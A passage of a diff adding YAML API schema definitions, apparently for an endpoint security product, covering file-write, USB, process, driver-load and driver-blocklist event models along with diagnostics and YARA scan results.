+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      target:
+        minLength: 1
+        title: Target
+        type: string
+      target_filename:
+        minLength: 1
+        title: Target filename
+        type: string
+      url_zone:
+        minLength: 1
+        title: Url zone
+        type: string
+      written_file_hashes:
+        $ref: '#/definitions/Hashes'
+      written_file_pe_info:
+        $ref: '#/definitions/PEInfo'
+      written_file_signatures:
+        $ref: '#/definitions/SignatureInfo'
+      written_file_size:
+        title: Written file size
+        type: integer
+      written_file_type:
+        enum:
+          - 7z
+          - asp
+          - chm
+          - cmd
+          - compound_file_binary_format
+          - eicar
+          - elf
+          - hta
+          - js
+          - jsp
+          - lnk
+          - mach-o
+          - pdf
+          - pe
+          - perl
+          - php
+          - plist
+          - powershell
+          - python
+          - rar
+          - reg
+          - ruby
+          - sct
+          - shell_script
+          - unknown
+          - url
+          - vbs
+          - windows_script_file
+          - zip
+        title: Written file type
+        type: string
+      zone_id:
+        title: Zone id
+        type: integer
+    required:
+      - app_zone_id
+      - create_disposition
+      - create_disposition_str
+      - create_options
+      - create_options_str
+      - first_bytes
+      - kind
+      - last_writer_package_family_name
+      - path
+      - referrer_url
+      - source_ip_address
+      - source_url
+      - stacktrace
+      - stacktrace_minimal
+      - target
+      - target_filename
+      - url_zone
+      - written_file_hashes
+      - written_file_pe_info
+      - written_file_signatures
+      - written_file_size
+      - written_file_type
+      - zone_id
+    type: object
+  DetailsUsbDeviceEvent:
+    properties:
+      db_product_name:
+        minLength: 1
+        title: Db product name
+        type: string
+      db_vendor_name:
+        minLength: 1
+        title: Db vendor name
+        type: string
+      device_class:
+        minLength: 1
+        title: Device class
+        type: string
+      device_product_name:
+        minLength: 1
+        title: Device product name
+        type: string
+      device_protocol:
+        minLength: 1
+        title: Device protocol
+        type: string
+      device_subclass:
+        minLength: 1
+        title: Device subclass
+        type: string
+      device_vendor_name:
+        minLength: 1
+        title: Device vendor name
+        type: string
+      event_type:
+        minLength: 1
+        title: Event type
+        type: string
+      interfaces:
+        items:
+          $ref: '#/definitions/DetailUsbInterface'
+        type: array
+      product_id:
+        minLength: 1
+        title: Product id
+        type: string
+      product_name:
+        minLength: 1
+        title: Product name
+        type: string
+      serial_number:
+        minLength: 1
+        title: Serial number
+        type: string
+      vendor_id:
+        minLength: 1
+        title: Vendor id
+        type: string
+      vendor_name:
+        minLength: 1
+        title: Vendor name
+        type: string
+    required:
+      - db_product_name
+      - db_vendor_name
+      - device_class
+      - device_product_name
+      - device_protocol
+      - device_subclass
+      - device_vendor_name
+      - event_type
+      - interfaces
+      - product_id
+      - product_name
+      - serial_number
+      - vendor_id
+      - vendor_name
+    type: object
+  DetectionPermissions:
+    properties:
+      can_view_experimental_security_events:
+        title: Can view experimental security events
+        type: boolean
+      security_events:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Security events
+        type: string
+      threats:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Threats
+        type: string
+    required:
+      - can_view_experimental_security_events
+      - security_events
+      - threats
+    type: object
+  DeviceBootSectors:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      device_path:
+        minLength: 1
+        title: Device path
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      ipl:
+        $ref: '#/definitions/BootSector'
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      mbr:
+        $ref: '#/definitions/BootSector'
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      vbr:
+        $ref: '#/definitions/BootSector'
+    required:
+      - '@timestamp'
+      - agent
+      - device_path
+      - id
+      - ipl
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - mbr
+      - tenant
+      - vbr
+    type: object
+  DeviceControlPolicy:
+    properties:
+      agent_policies:
+        items:
+          $ref: '#/definitions/MinimalPolicy'
+        readOnly: true
+        type: array
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      creator:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      default_action:
+        enum:
+          - allow
+          - block
+        title: Default action
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      is_dry_run_mode_enabled:
+        default: false
+        title: Is dry run mode enabled
+        type: boolean
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      revision:
+        readOnly: true
+        title: Revision
+        type: integer
+      security_event_level:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        title: Security event level
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      usb_rules_count:
+        readOnly: true
+        title: Usb rules count
+        type: integer
+    required:
+      - name
+    type: object
+  Diagnostic:
+    properties:
+      date_created:
+        description: Datetime field when the task result was created in UTC
+        format: date-time
+        readOnly: true
+        title: Created DateTime
+        type: string
+      date_done:
+        description: Datetime field when the task was completed in UTC
+        format: date-time
+        readOnly: true
+        title: Completed DateTime
+        type: string
+      filename:
+        readOnly: true
+        title: Filename
+        type: string
+        x-nullable: true
+      result:
+        description: The data returned by the task.  Use content_encoding and content_type fields to read.
+        minLength: 1
+        readOnly: true
+        title: Result Data
+        type: string
+        x-nullable: true
+      status:
+        description: Current state of the task being run
+        enum:
+          - FAILURE
+          - PENDING
+          - RECEIVED
+          - RETRY
+          - REVOKED
+          - STARTED
+          - SUCCESS
+        title: Task State
+        type: string
+      task_args:
+        description: JSON representation of the positional arguments used with the task
+        minLength: 1
+        title: Task Positional Arguments
+        type: string
+        x-nullable: true
+      task_id:
+        description: Celery ID for the Task that was run
+        maxLength: 255
+        minLength: 1
+        title: Task ID
+        type: string
+    required:
+      - task_id
+    type: object
+  DiagnosticFilename:
+    properties:
+      filename:
+        minLength: 1
+        pattern: (.+\.)((tgz$)|(tar\.gz$))
+        title: Filename
+        type: string
+    type: object
+  DiagnosticLatestList:
+    properties:
+      count:
+        title: Count
+        type: integer
+      latest:
+        $ref: '#/definitions/Diagnostic'
+      results:
+        items:
+          $ref: '#/definitions/Diagnostic'
+        type: array
+    required:
+      - count
+      - latest
+      - results
+    type: object
+  DiagnosticList:
+    properties:
+      count:
+        title: Count
+        type: integer
+      results:
+        items:
+          $ref: '#/definitions/Diagnostic'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  DiagnosticRunResponse:
+    properties:
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+      status:
+        minLength: 1
+        title: Status
+        type: string
+    required:
+      - filename
+      - status
+    type: object
+  DisableCveBulk:
+    properties:
+      disabled_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - disabled_ids
+    type: object
+  DocProcessesSerializer:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      ancestors:
+        minLength: 1
+        title: Ancestors
+        type: string
+      cdhash:
+        minLength: 1
+        title: Cdhash
+        type: string
+      codesigning_flags:
+        title: Codesigning flags
+        type: integer
+      codesigning_flags_str:
+        minLength: 1
+        title: Codesigning flags str
+        type: string
+      commandline:
+        minLength: 1
+        title: Commandline
+        type: string
+      create_time:
+        format: date-time
+        title: Create time
+        type: string
+      current_directory:
+        minLength: 1
+        title: Current directory
+        type: string
+      egid:
+        title: Egid
+        type: integer
+      egroup:
+        minLength: 1
+        title: Egroup
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      error_msg:
+        minLength: 1
+        title: Error msg
+        type: string
+      euid:
+        title: Euid
+        type: integer
+      eusername:
+        minLength: 1
+        title: Eusername
+        type: string
+      fake_parent_commandline:
+        minLength: 1
+        title: Fake parent commandline
+        type: string
+      fake_parent_image:
+        minLength: 1
+        title: Fake parent image
+        type: string
+      fake_parent_unique_id:
+        minLength: 1
+        title: Fake parent unique id
+        type: string
+      fake_ppid:
+        title: Fake ppid
+        type: integer
+      gid:
+        title: Gid
+        type: integer
+      grandparent_commandline:
+        minLength: 1
+        title: Grandparent commandline
+        type: string
+      grandparent_image:
+        minLength: 1
+        title: Grandparent image
+        type: string
+      grandparent_integrity_level:
+        minLength: 1
+        title: Grandparent integrity level
+        type: string
+      grandparent_unique_id:
+        minLength: 1
+        title: Grandparent unique id
+        type: string
+      group:
+        minLength: 1
+        title: Group
+        type: string
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      hashes:
+        $ref: '#/definitions/Hashes'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      image_name:
+        minLength: 1
+        title: Image name
+        type: string
+      integrity_level:
+        minLength: 1
+        title: Integrity level
+        type: string
+      is_platform_binary:
+        title: Is platform binary
+        type: boolean
+      kube_details:
+        $ref: '#/definitions/KubeProcessInfo'
+      level:
+        minLength: 1
+        title: Level
+        type: string
+      lnk_info:
+        $ref: '#/definitions/LnkInfo'
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      logonid:
+        title: Logonid
+        type: integer
+      memfd_name:
+        minLength: 1
+        title: Memfd name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      parent_commandline:
+        minLength: 1
+        title: Parent commandline
+        type: string
+      parent_image:
+        minLength: 1
+        title: Parent image
+        type: string
+      parent_integrity_level:
+        minLength: 1
+        title: Parent integrity level
+        type: string
+      parent_unique_id:
+        minLength: 1
+        title: Parent unique id
+        type: string
+      pe_imphash:
+        minLength: 1
+        title: Pe imphash
+        type: string
+      pe_info:
+        $ref: '#/definitions/PEInfo'
+      pe_timestamp:
+        format: date-time
+        title: Pe timestamp
+        type: string
+      pe_timestamp_int:
+        title: Pe timestamp int
+        type: integer
+      pid:
+        title: Pid
+        type: integer
+      ppid:
+        title: Ppid
+        type: integer
+      process_name:
+        minLength: 1
+        title: Process name
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      session:
+        title: Session
+        type: integer
+      sgid:
+        title: Sgid
+        type: integer
+      sgroup:
+        minLength: 1
+        title: Sgroup
+        type: string
+      signature_info:
+        $ref: '#/definitions/SignatureInfo'
+      signed:
+        title: Signed
+        type: boolean
+      size:
+        title: Size
+        type: integer
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      status:
+        title: Status
+        type: integer
+      status_msg:
+        minLength: 1
+        title: Status msg
+        type: string
+      suid:
+        title: Suid
+        type: integer
+      susername:
+        minLength: 1
+        title: Susername
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      uid:
+        title: Uid
+        type: integer
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      usersid:
+        minLength: 1
+        title: Usersid
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - ancestors
+      - cdhash
+      - codesigning_flags
+      - codesigning_flags_str
+      - commandline
+      - create_time
+      - current_directory
+      - egid
+      - egroup
+      - enabled
+      - error_msg
+      - euid
+      - eusername
+      - fake_parent_commandline
+      - fake_parent_image
+      - fake_parent_unique_id
+      - fake_ppid
+      - gid
+      - grandparent_commandline
+      - grandparent_image
+      - grandparent_integrity_level
+      - grandparent_unique_id
+      - group
+      - groups
+      - hashes
+      - id
+      - image_name
+      - integrity_level
+      - is_platform_binary
+      - kube_details
+      - level
+      - lnk_info
+      - log_type
+      - logonid
+      - memfd_name
+      - parent_commandline
+      - parent_image
+      - parent_integrity_level
+      - parent_unique_id
+      - pe_imphash
+      - pe_info
+      - pe_timestamp
+      - pe_timestamp_int
+      - pid
+      - ppid
+      - process_name
+      - process_unique_id
+      - session
+      - sgid
+      - sgroup
+      - signature_info
+      - signed
+      - size
+      - stacktrace
+      - stacktrace_minimal
+      - status
+      - status_msg
+      - suid
+      - susername
+      - tenant
+      - uid
+      - username
+      - usersid
+    type: object
+  DocYaraScanSerializer:
+    properties:
+      match_count:
+        title: Match count
+        type: integer
+      matched_rules:
+        items:
+          $ref: '#/definitions/YaraRule'
+        type: array
+      rule_revision:
+        title: Rule revision
+        type: integer
+      score:
+        title: Score
+        type: integer
+    required:
+      - match_count
+      - matched_rules
+      - rule_revision
+      - score
+    type: object
+  DotnetInfo:
+    properties:
+      appdomain_id:
+        title: Appdomain id
+        type: integer
+      assembly_culture:
+        minLength: 1
+        title: Assembly culture
+        type: string
+      assembly_flags:
+        title: Assembly flags
+        type: integer
+      assembly_flags_str:
+        minLength: 1
+        title: Assembly flags str
+        type: string
+      assembly_name:
+        minLength: 1
+        title: Assembly name
+        type: string
+      assembly_token:
+        minLength: 1
+        title: Assembly token
+        type: string
+      assembly_version:
+        minLength: 1
+        title: Assembly version
+        type: string
+      fully_qualified_assembly_name:
+        minLength: 1
+        title: Fully qualified assembly name
+        type: string
+      managed_pdb_path:
+        minLength: 1
+        title: Managed pdb path
+        type: string
+      module_flags:
+        title: Module flags
+        type: integer
+      module_flags_str:
+        minLength: 1
+        title: Module flags str
+        type: string
+      module_native_path:
+        minLength: 1
+        title: Module native path
+        type: string
+      native_pdb_path:
+        minLength: 1
+        title: Native pdb path
+        type: string
+    required:
+      - appdomain_id
+      - assembly_culture
+      - assembly_flags
+      - assembly_flags_str
+      - assembly_name
+      - assembly_token
+      - assembly_version
+      - fully_qualified_assembly_name
+      - managed_pdb_path
+      - module_flags
+      - module_flags_str
+      - module_native_path
+      - native_pdb_path
+    type: object
+  DownloadDirectory:
+    properties:
+      directory:
+        minLength: 1
+        title: Directory
+        type: string
+      recursive:
+        title: Recursive
+        type: boolean
+    required:
+      - directory
+      - recursive
+    type: object
+  DownloadFile:
+    properties:
+      auto_analyze:
+        default: false
+        title: Auto analyze
+        type: boolean
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+    required:
+      - filename
+    type: object
+  DownloadInstallerAvailability:
+    properties:
+      status:
+        title: Status
+        type: boolean
+    required:
+      - status
+    type: object
+  DownloadRequest:
+    properties:
+      auto_analyze:
+        default: false
+        title: Auto analyze
+        type: boolean
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+        x-nullable: true
+    type: object
+  DownloadRequestResponse:
+    properties:
+      file_availability:
+        enum:
+          - 0
+          - 1
+          - 2
+          - 3
+          - 4
+          - 5
+          - 6
+          - 7
+          - 8
+          - 9
+          - 255
+        readOnly: true
+        title: File availability
+        type: integer
+      message:
+        default: ""
+        minLength: 1
+        title: Message
+        type: string
+    type: object
+  Downloader:
+    properties:
+      allow_signed_microsoft:
+        default: true
+        title: Allow signed microsoft
+        type: boolean
+      allow_signed_third_party:
+        default: true
+        title: Allow signed third party
+        type: boolean
+      allow_unsigned:
+        default: true
+        title: Allow unsigned
+        type: boolean
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      max_download_size_per_hour:
+        minimum: 0
+        title: Max download size per hour
+        type: integer
+        x-nullable: true
+      max_size_per_binary:
+        minimum: 0
+        title: Max size per binary
+        type: integer
+        x-nullable: true
+    type: object
+  Driver:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      fullpathname:
+        minLength: 1
+        title: Fullpathname
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      imagebase:
+        title: Imagebase
+        type: number
+      imagesize:
+        title: Imagesize
+        type: integer
+      ispresent:
+        title: Ispresent
+        type: boolean
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - fullpathname
+      - id
+      - imagebase
+      - imagesize
+      - ispresent
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - tenant
+    type: object
+  DriverBlocklist:
+    properties:
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      comment:
+        minLength: 1
+        readOnly: true
+        title: Comment
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      hl_local_testing_status:
+        description: deprecated
+        title: Hl local testing status
+        type: string
+        x-nullable: true
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        title: Hl status
+        type: string
+      hl_testing_start_time:
+        format: date-time
+        readOnly: true
+        title: Hl testing start time
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      origin_stack_id:
+        maxLength: 64
+        minLength: 1
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      references:
+        items:
+          minLength: 1
+          title: References
+          type: string
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      rule_confidence_override:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence override
+        type: string
+        x-nullable: true
+      rule_effective_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule effective confidence
+        type: string
+      rule_effective_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule effective level
+        type: string
+      rule_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level
+        type: string
+        x-nullable: true
+      rule_level_overridden:
+        readOnly: true
+        title: Rule level overridden
+        type: boolean
+      rule_level_override:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level override
+        type: string
+        x-nullable: true
+      source:
+        title: Source
+        type: string
+      source_id:
+        minLength: 1
+        readOnly: true
+        title: Source id
+        type: string
+      test_maturity_current_count:
+        readOnly: true
+        title: Test maturity current count
+        type: integer
+      test_maturity_delay:
+        readOnly: true
+        title: Test maturity delay
+        type: integer
+      test_maturity_threshold:
+        readOnly: true
+        title: Test maturity threshold
+        type: integer
+      type:
+        enum:
+          - filename
+          - filepath
+          - hash
+        title: Type
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+    required:
+      - source
+      - type
+      - value
+    type: object
+  DriverBlocklistRulesetRule:
+    properties:
+      block_on_agent:
+        readOnly: true
+        title: Block on agent
+        type: boolean
+      comment:
+        minLength: 1
+        readOnly: true
+        title: Comment
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        readOnly: true
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        readOnly: true
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Global state
+        type: string
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        readOnly: true
+        title: Hl status
+        type: string
+      hl_testing_start_time:
+        format: date-time
+        readOnly: true
+        title: Hl testing start time
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      origin_stack_id:
+        maxLength: 64
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        readOnly: true
+        title: Quarantine on agent
+        type: boolean
+      references:
+        items:
+          minLength: 1
+          title: References
+          type: string
+        readOnly: true
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      rule_confidence_override:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence override
+        type: string
+        x-nullable: true
+      rule_effective_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule effective confidence
+        type: string
+      rule_effective_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule effective level
+        type: string
+      rule_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level
+        type: string
+        x-nullable: true
+      rule_level_overridden:
+        readOnly: true
+        title: Rule level overridden
+        type: boolean
+      rule_level_override:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level override
+        type: string
+        x-nullable: true
+      ruleset_rule:
+        $ref: '#/definitions/RulesetRuleSerializer'
+      ruleset_rule_default:
+        readOnly: true
+        title: Ruleset rule default
+        type: boolean
+      source:
+        readOnly: true
+        title: Source
+        type: string
+      source_id:
+        minLength: 1
+        readOnly: true
+        title: Source id
+        type: string
+      state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        readOnly: true
+        title: State
+        type: string
+      type:
+        enum:
+          - filename
+          - filepath
+          - hash
+        readOnly: true
+        title: Type
+        type: string
+      value:
+        minLength: 1
+        readOnly: true
+        title: Value
+        type: string
+    type: object
+  DriverBlocklistRulesetSource:
+    properties:
+      alert_rule_count:
+        default: 0
+        readOnly: true
+        title: Alert rule count
+        type: integer
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      block_rule_count:
+        default: 0
+        readOnly: true
+        title: Block rule count
+        type: integer
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      default_rule_count:
+        minimum: 0
+        readOnly: true
+        title: Default rule count
+        type: integer
+      description:
+        title: Description
+        type: string
+      disabled_rule_count:
+        default: 0
+        readOnly: true
+        title: Disabled rule count
+        type: integer
+      driver_count:
+        default: 0
+        readOnly: true
+        title: Driver count
+        type: integer
+      driver_experimental_count:
+        default: 0
+        readOnly: true
+        title: Driver experimental count
+        type: integer
+      driver_stable_count:
+        default: 0
+        readOnly: true
+        title: Driver stable count
+        type: integer
+      driver_testing_count:
+        default: 0
+        readOnly: true
+        title: Driver testing count
+        type: integer
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      new_rule_state:
+        default: default
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: New rule state
+        type: string
+      origin_stack_id:
+        maxLength: 64
+        minLength: 1
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      quarantine_rule_count:
+        default: 0
+        readOnly: true
+        title: Quarantine rule count
+        type: integer
+      rule_confidence_default:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence default
+        type: string
+      rule_count:
+        default: 0
+        readOnly: true
+        title: Rule count
+        type: integer
+      rule_disabled_count:
+        default: 0
+        readOnly: true
+        title: Rule disabled count
+        type: integer
+      rule_enabled_count:
+        default: 0
+        readOnly: true
+        title: Rule enabled count
+        type: integer
+      rule_experimental_count:
+        default: 0
+        readOnly: true
+        title: Rule experimental count
+        type: integer
+      rule_level_default:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level default
+        type: string
+      rule_stable_count:
+        default: 0
+        readOnly: true
+        title: Rule stable count
+        type: integer
+      rule_testing_count:
+        default: 0
+        readOnly: true
+        title: Rule testing count
+        type: integer
+      ruleset_source:
+        $ref: '#/definitions/RulesetSourceSerializer'
+      ruleset_source_rule_default:
+        $ref: '#/definitions/RulesetSourceRuleDefaultSerializer'
+      state:
+        default: default
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - force_inherit
+          - quarantine
+        title: State
+        type: string
+    required:
+      - name
+    type: object
+  DriverBlocklistSource:
+    properties:
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        title: Description
+        type: string
+      driver_count:
+        default: 0
+        readOnly: true
+        title: Driver count
+        type: integer
+      driver_experimental_count:
+        default: 0
+        readOnly: true
+        title: Driver experimental count
+        type: integer
+      driver_stable_count:
+        default: 0
+        readOnly: true
+        title: Driver stable count
+        type: integer
+      driver_testing_count:
+        default: 0
+        readOnly: true
+        title: Driver testing count
+        type: integer
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack_id:
+        maxLength: 64
+        minLength: 1
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      rule_confidence_default:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence default
+        type: string
+      rule_count:
+        default: 0
+        readOnly: true
+        title: Rule count
+        type: integer
+      rule_disabled_count:
+        default: 0
+        readOnly: true
+        title: Rule disabled count
+        type: integer
+      rule_enabled_count:
+        default: 0
+        readOnly: true
+        title: Rule enabled count
+        type: integer
+      rule_experimental_count:
+        default: 0
+        readOnly: true
+        title: Rule experimental count
+        type: integer
+      rule_level_default:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level default
+        type: string
+      rule_stable_count:
+        default: 0
+        readOnly: true
+        title: Rule stable count
+        type: integer
+      rule_testing_count:
+        default: 0
+        readOnly: true
+        title: Rule testing count
+        type: integer
+    required:
+      - name
+    type: object
+  DriverLoad:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      hashes:
+        $ref: '#/definitions/Hashes'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      imagebase:
+        title: Imagebase
+        type: integer
+      imagename:
+        minLength: 1
+        title: Imagename
+        type: string
+      imagepath:
+        minLength: 1
+        title: Imagepath
+        type: string
+      imagesize:
+        title: Imagesize
+        type: integer
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pe_imphash:
+        minLength: 1
+        title: Pe imphash
+        type: string
+      pe_info:
+        $ref: '#/definitions/PEInfo'
+      pe_timestamp:
+        format: date-time
+        title: Pe timestamp
+        type: string
+      pe_timestamp_int:
+        title: Pe timestamp int
+        type: integer
+      signature_info:
+        $ref: '#/definitions/SignatureInfo'
+      signed:
+        title: Signed
+        type: boolean
+      size:
+        title: Size
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - groups
+      - hashes
+      - id
+      - imagebase
+      - imagename
+      - imagepath
+      - imagesize
+      - log_type
+      - pe_imphash
+      - pe_info
+      - pe_timestamp
+      - pe_timestamp_int
+      - signature_info
+      - signed
+      - size
+      - tenant
+    type: object
+  DryRunResponse:
+    properties:
+      count:
+        title: Count
+        type: integer
+      has_more:
+        title: Has more
+        type: boolean
+    required:
+      - count
+      - has_more
+    type: object
+  DseTamper:
+    properties:
+      driver_blocked:
+        title: Driver blocked
+        type: boolean
+      dse_new_value:
+        title: Dse new value
+        type: integer
+      dse_new_value_str:
+        minLength: 1
+        title: Dse new value str
+        type: string
